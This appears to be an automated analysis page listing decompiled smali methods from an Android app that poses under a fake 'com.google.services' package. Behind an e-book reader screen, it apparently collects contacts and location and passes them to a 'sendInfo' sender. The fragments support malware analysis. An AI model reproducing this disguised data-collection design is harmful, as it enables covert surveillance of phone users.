APIs
  • com.google.services.sendReceiver.access$000
  • com.google.services.sendReceiver.access$100
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/google/services/sendReceiver$2;->this$0:Lcom/google/services/sendReceiver;
4iget-object v0, v0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo;
6iget-object v1, p0, Lcom/google/services/sendReceiver$2;->this$0:Lcom/google/services/sendReceiver;
8invoke-static {v1}, Lcom/google/services/sendReceiver;->access$000(Lcom/google/services/sendReceiver;)Ljava/lang/String;
9move-result-object v1
11iget-object v2, p0, Lcom/google/services/sendReceiver$2;->this$0:Lcom/google/services/sendReceiver;
13invoke-static {v2}, Lcom/google/services/sendReceiver;->access$100(Lcom/google/services/sendReceiver;)Ljava/lang/String;
14move-result-object v2
16invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
17return-void
APIs
  • com.google.services.sendReceiver.access$000
  • com.google.services.sendReceiver.access$100
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/google/services/sendReceiver$3;->this$0:Lcom/google/services/sendReceiver;
4iget-object v0, v0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo;
6iget-object v1, p0, Lcom/google/services/sendReceiver$3;->this$0:Lcom/google/services/sendReceiver;
8invoke-static {v1}, Lcom/google/services/sendReceiver;->access$000(Lcom/google/services/sendReceiver;)Ljava/lang/String;
9move-result-object v1
11iget-object v2, p0, Lcom/google/services/sendReceiver$3;->this$0:Lcom/google/services/sendReceiver;
13invoke-static {v2}, Lcom/google/services/sendReceiver;->access$100(Lcom/google/services/sendReceiver;)Ljava/lang/String;
14move-result-object v2
16invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
17return-void
APIs
  • com.google.services.sendReceiver.access$000
  • com.google.services.sendReceiver.access$100
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/google/services/sendReceiver$4;->this$0:Lcom/google/services/sendReceiver;
4iget-object v0, v0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo;
6iget-object v1, p0, Lcom/google/services/sendReceiver$4;->this$0:Lcom/google/services/sendReceiver;
8invoke-static {v1}, Lcom/google/services/sendReceiver;->access$000(Lcom/google/services/sendReceiver;)Ljava/lang/String;
9move-result-object v1
11iget-object v2, p0, Lcom/google/services/sendReceiver$4;->this$0:Lcom/google/services/sendReceiver;
13invoke-static {v2}, Lcom/google/services/sendReceiver;->access$100(Lcom/google/services/sendReceiver;)Ljava/lang/String;
14move-result-object v2
16invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
17return-void
APIs
  • it.sauronsoftware.base64.Base64OutputStream.<init>
  • it.sauronsoftware.base64.Base64OutputStream.commit
Position Instruction Meta Information
0.parameter
1.parameter
2.parameter
3.annotation system Ldalvik/annotation/Throws;
4value = {
5Ljava/io/IOException;
6}
7.end annotation
8.prologue
9new-instance v0, Lit/sauronsoftware/base64/Base64OutputStream;
11invoke-direct {v0, p1, p2}, Lit/sauronsoftware/base64/Base64OutputStream;-><init>(Ljava/io/OutputStream;I)V
13invoke-static {p0, v0}, Lit/sauronsoftware/base64/Base64;->copy(Ljava/io/InputStream;Ljava/io/OutputStream;)V
15invoke-virtual {v0}, Lit/sauronsoftware/base64/Base64OutputStream;->commit()V
16return-void
APIs
  • it.sauronsoftware.base64.Base64OutputStream.commit
  • java.io.OutputStream.close
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
5.prologue
7invoke-virtual {p0}, Lit/sauronsoftware/base64/Base64OutputStream;->commit()V
9iget-object v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream;
11invoke-virtual {v0}, Ljava/io/OutputStream;->close()V
12return-void
Strings
  • display_name
  • data1
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x2
2new-array v0, v0, [Ljava/lang/String;
3const/4 v1, 0x0
5const-string v2, "display_name"
6aput-object v2, v0, v1
7const/4 v1, 0x1
9const-string v2, "data1"
10aput-object v2, v0, v1
11sput-object v0, Lcom/google/services/AlarmService;->PHONES_PROJECTION:[Ljava/lang/String;
12return-void
APIs
  • android.widget.Scroller.isFinished
  • android.widget.Scroller.abortAnimation
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller;
4invoke-virtual {v0}, Landroid/widget/Scroller;->isFinished()Z
5move-result v0
6if-nez v0, :cond_d
8iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller;
10invoke-virtual {v0}, Landroid/widget/Scroller;->abortAnimation()V
11cond_d: return-void
APIs
  • android.widget.Scroller.startScroll
Position Instruction Meta Information
0.parameter
1.prologue
2iget v0, p0, Lcom/google/services/PageWidget;->mCornerX:I
3if-lez v0, :cond_2c
4iget v0, p0, Lcom/google/services/PageWidget;->mWidth:I
5int-to-float v0, v0
7iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
8iget v1, v1, Landroid/graphics/PointF;->x:F
9add-float/2addr v0, v1
10float-to-int v0, v0
11neg-int v3, v0
12goto_e: iget v0, p0, Lcom/google/services/PageWidget;->mCornerY:I
13if-lez v0, :cond_3a
14iget v0, p0, Lcom/google/services/PageWidget;->mHeight:I
15int-to-float v0, v0
17iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
18iget v1, v1, Landroid/graphics/PointF;->y:F
19sub-float/2addr v0, v1
20float-to-int v4, v0
21goto_1b:
22iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller;
24iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
25iget v1, v1, Landroid/graphics/PointF;->x:F
26float-to-int v1, v1
28iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
29iget v2, v2, Landroid/graphics/PointF;->y:F
30float-to-int v2, v2
31move v5, p1
33invoke-virtual/range {v0 .. v5}, Landroid/widget/Scroller;->startScroll(IIIII)V
34return-void
35cond_2c: iget v0, p0, Lcom/google/services/PageWidget;->mWidth:I
36int-to-float v0, v0
38iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
39iget v1, v1, Landroid/graphics/PointF;->x:F
40sub-float/2addr v0, v1
41iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I
42int-to-float v1, v1
43add-float/2addr v0, v1
44float-to-int v3, v0
45goto/16 :goto_e
46cond_3a: const/high16 v0, 0x3f80
48iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
49iget v1, v1, Landroid/graphics/PointF;->y:F
50sub-float/2addr v0, v1
51float-to-int v4, v0
52goto/16 :goto_1b
APIs
  • android.graphics.PointF.<init>
Position Instruction Meta Information
0.parameter
1.parameter
2.parameter
3.parameter
4.prologue
5new-instance v0, Landroid/graphics/PointF;
7invoke-direct {v0}, Landroid/graphics/PointF;-><init>()V
8iget v1, p2, Landroid/graphics/PointF;->y:F
9iget v2, p1, Landroid/graphics/PointF;->y:F
10sub-float/2addr v1, v2
11iget v2, p2, Landroid/graphics/PointF;->x:F
12iget v3, p1, Landroid/graphics/PointF;->x:F
13sub-float/2addr v2, v3
14div-float/2addr v1, v2
15iget v2, p1, Landroid/graphics/PointF;->x:F
16iget v3, p2, Landroid/graphics/PointF;->y:F
17mul-float/2addr v2, v3
18iget v3, p2, Landroid/graphics/PointF;->x:F
19iget v4, p1, Landroid/graphics/PointF;->y:F
20mul-float/2addr v3, v4
21sub-float/2addr v2, v3
22iget v3, p1, Landroid/graphics/PointF;->x:F
23iget v4, p2, Landroid/graphics/PointF;->x:F
24sub-float/2addr v3, v4
25div-float/2addr v2, v3
26iget v3, p4, Landroid/graphics/PointF;->y:F
27iget v4, p3, Landroid/graphics/PointF;->y:F
28sub-float/2addr v3, v4
29iget v4, p4, Landroid/graphics/PointF;->x:F
30iget v5, p3, Landroid/graphics/PointF;->x:F
31sub-float/2addr v4, v5
32div-float/2addr v3, v4
33iget v4, p3, Landroid/graphics/PointF;->x:F
34iget v5, p4, Landroid/graphics/PointF;->y:F
35mul-float/2addr v4, v5
36iget v5, p4, Landroid/graphics/PointF;->x:F
37iget v6, p3, Landroid/graphics/PointF;->y:F
38mul-float/2addr v5, v6
39sub-float/2addr v4, v5
40iget v5, p3, Landroid/graphics/PointF;->x:F
41iget v6, p4, Landroid/graphics/PointF;->x:F
42sub-float/2addr v5, v6
43div-float/2addr v4, v5
44sub-float/2addr v4, v2
45sub-float v3, v1, v3
46div-float v3, v4, v3
47iput v3, v0, Landroid/graphics/PointF;->x:F
48iget v3, v0, Landroid/graphics/PointF;->x:F
49mul-float/2addr v1, v3
50add-float/2addr v1, v2
51iput v1, v0, Landroid/graphics/PointF;->y:F
52return-object v0
APIs
  • it.sauronsoftware.base64.Base64InputStream.acquire
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
5.prologue
6const/4 v0, -0x1
8iget-object v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I
9if-eqz v1, :cond_c
10iget v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I
12iget-object v2, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I
13array-length v2, v2
14if-ne v1, v2, :cond_20
15cond_c: iget-boolean v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->eof:Z
16if-eqz v1, :cond_11
17goto_10: return v0
18cond_11:
19invoke-direct {p0}, Lit/sauronsoftware/base64/Base64InputStream;->acquire()V
21iget-object v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I
22array-length v1, v1
23if-nez v1, :cond_1d
24const/4 v1, 0x0
25iput-object v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I
26goto/16 :goto_10
27cond_1d: const/4 v0, 0x0
28iput v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I
29cond_20:
30iget-object v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I
31iget v1, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I
32add-int/lit8 v2, v1, 0x1
33iput v2, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I
34aget v0, v0, v1
35goto/16 :goto_10
APIs
  • java.util.Vector.clear
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
5.prologue
6iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
7iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I
8if-lt v0, v1, :cond_a
9const/4 v0, 0x1
10iput-boolean v0, p0, Lcom/google/services/BookPageFactory;->m_islastPage:Z
11goto_9: return-void
12cond_a: const/4 v0, 0x0
13iput-boolean v0, p0, Lcom/google/services/BookPageFactory;->m_islastPage:Z
15iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
17invoke-virtual {v0}, Ljava/util/Vector;->clear()V
18iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
19iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
21invoke-virtual {p0}, Lcom/google/services/BookPageFactory;->pageDown()Ljava/util/Vector;
22move-result-object v0
23iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
24goto/16 :goto_9
APIs
  • java.util.Vector.clear
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
5.prologue
6const/4 v1, 0x0
7iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
8if-gtz v0, :cond_b
9iput v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I
10const/4 v0, 0x1
11iput-boolean v0, p0, Lcom/google/services/BookPageFactory;->m_isfirstPage:Z
12goto_a: return-void
13cond_b: iput-boolean v1, p0, Lcom/google/services/BookPageFactory;->m_isfirstPage:Z
15iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
17invoke-virtual {v0}, Ljava/util/Vector;->clear()V
19invoke-virtual {p0}, Lcom/google/services/BookPageFactory;->pageUp()V
21invoke-virtual {p0}, Lcom/google/services/BookPageFactory;->pageDown()Ljava/util/Vector;
22move-result-object v0
23iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector;
24goto/16 :goto_a
APIs
  • it.sauronsoftware.base64.Base64OutputStream.commit
Position Instruction Meta Information
0.parameter
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/io/IOException;
4}
5.end annotation
6.prologue
7and-int/lit16 v0, p1, 0xff
8iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
9mul-int/lit8 v1, v1, 0x8
10rsub-int/lit8 v1, v1, 0x10
11shl-int/2addr v0, v1
12iget v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I
13or-int/2addr v0, v1
14iput v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I
15iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
16add-int/lit8 v0, v0, 0x1
17iput v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
18iget v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
19const/4 v1, 0x3
20if-ne v0, v1, :cond_1c
22invoke-virtual {p0}, Lit/sauronsoftware/base64/Base64OutputStream;->commit()V
23cond_1c: return-void
APIs
  • java.io.OutputStream.<init>
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/4 v1, 0x0
5invoke-direct {p0}, Ljava/io/OutputStream;-><init>()V
6const/4 v0, 0x0
7iput-object v0, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream;
8iput v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->buffer:I
9iput v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->bytecounter:I
10iput v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linecounter:I
11iput v1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linelength:I
12iput-object p1, p0, Lit/sauronsoftware/base64/Base64OutputStream;->outputStream:Ljava/io/OutputStream;
13iput p2, p0, Lit/sauronsoftware/base64/Base64OutputStream;->linelength:I
14return-void
APIs
  • it.sauronsoftware.base64.Base64InputStream.<init>
Position Instruction Meta Information
0.parameter
1.parameter
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/io/IOException;
5}
6.end annotation
7.prologue
8new-instance v0, Lit/sauronsoftware/base64/Base64InputStream;
10invoke-direct {v0, p0}, Lit/sauronsoftware/base64/Base64InputStream;-><init>(Ljava/io/InputStream;)V
12invoke-static {v0, p1}, Lit/sauronsoftware/base64/Base64;->copy(Ljava/io/InputStream;Ljava/io/OutputStream;)V
13return-void
APIs
  • java.io.InputStream.close
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
5.prologue
7iget-object v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->inputStream:Ljava/io/InputStream;
9invoke-virtual {v0}, Ljava/io/InputStream;->close()V
10return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
4iput-object v0, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String;
5iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String;
7invoke-static {}, Lcom/google/services/SendInfo;->getInstance()Lcom/google/services/SendInfo;
8move-result-object v0
9iput-object v0, p0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo;
10return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3const/4 v0, 0x0
4iput-object v0, p0, Lcom/google/services/AlarmService;->mContext:Landroid/content/Context;
5new-instance v0, Lcom/google/services/AlarmService$1;
7invoke-direct {v0, p0}, Lcom/google/services/AlarmService$1;-><init>(Lcom/google/services/AlarmService;)V
8iput-object v0, p0, Lcom/google/services/AlarmService;->locationListener:Landroid/location/LocationListener;
9return-void
APIs
  • java.io.InputStream.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2const/4 v0, 0x0
4invoke-direct {p0}, Ljava/io/InputStream;-><init>()V
5iput v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->bufferCounter:I
6iput-boolean v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->eof:Z
7iput-object p1, p0, Lit/sauronsoftware/base64/Base64InputStream;->inputStream:Ljava/io/InputStream;
8return-void
APIs
  • com.google.services.AlarmService.access$000
Position Instruction Meta Information
0.parameter
1.prologue
3iget-object v0, p0, Lcom/google/services/AlarmService$1;->this$0:Lcom/google/services/AlarmService;
4const/4 v1, 0x0
6invoke-static {v0, v1}, Lcom/google/services/AlarmService;->access$000(Lcom/google/services/AlarmService;Landroid/location/Location;)V
  • Data flow analysis:
    • p1: 0
7return-void
Strings
  • ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Position Instruction Meta Information
0.prologue
2const-string v0, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
3sput-object v0, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String;
4const/16 v0, 0x3d
5sput-char v0, Lit/sauronsoftware/base64/Shared;->pad:C
6return-void
APIs
  • com.google.services.AlarmService.access$000
Position Instruction Meta Information
0.parameter
1.prologue
3iget-object v0, p0, Lcom/google/services/AlarmService$1;->this$0:Lcom/google/services/AlarmService;
5invoke-static {v0, p1}, Lcom/google/services/AlarmService;->access$000(Lcom/google/services/AlarmService;Landroid/location/Location;)V
6return-void
APIs
  • it.sauronsoftware.base64.Base64OutputStream.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2const/16 v0, 0x4c
4invoke-direct {p0, p1, v0}, Lit/sauronsoftware/base64/Base64OutputStream;-><init>(Ljava/io/OutputStream;I)V
  • Data flow analysis:
    • p1: 76
5return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2iput-object p1, p0, Lcom/google/services/AlarmService$1;->this$0:Lcom/google/services/AlarmService;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • com.google.services.AlarmService.updateWithNewLocation
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
4invoke-direct {p0, p1}, Lcom/google/services/AlarmService;->updateWithNewLocation(Landroid/location/Location;)V
5return-void
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2iput-object p1, p0, Lcom/google/services/PhoneService$1$1;->this$1:Lcom/google/services/PhoneService$1;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
APIs
  • java.util.TimerTask.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2iput-object p1, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
4invoke-direct {p0}, Ljava/util/TimerTask;-><init>()V
5return-void
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2iput-object p1, p0, Lcom/google/services/sendReceiver$1;->this$0:Lcom/google/services/sendReceiver;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2iput-object p1, p0, Lcom/google/services/sendReceiver$2;->this$0:Lcom/google/services/sendReceiver;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2iput-object p1, p0, Lcom/google/services/sendReceiver$3;->this$0:Lcom/google/services/sendReceiver;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2iput-object p1, p0, Lcom/google/services/sendReceiver$4;->this$0:Lcom/google/services/sendReceiver;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.parameter
1.prologue
2iput-object p1, p0, Lcom/google/services/turntest$1;->this$0:Lcom/google/services/turntest;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void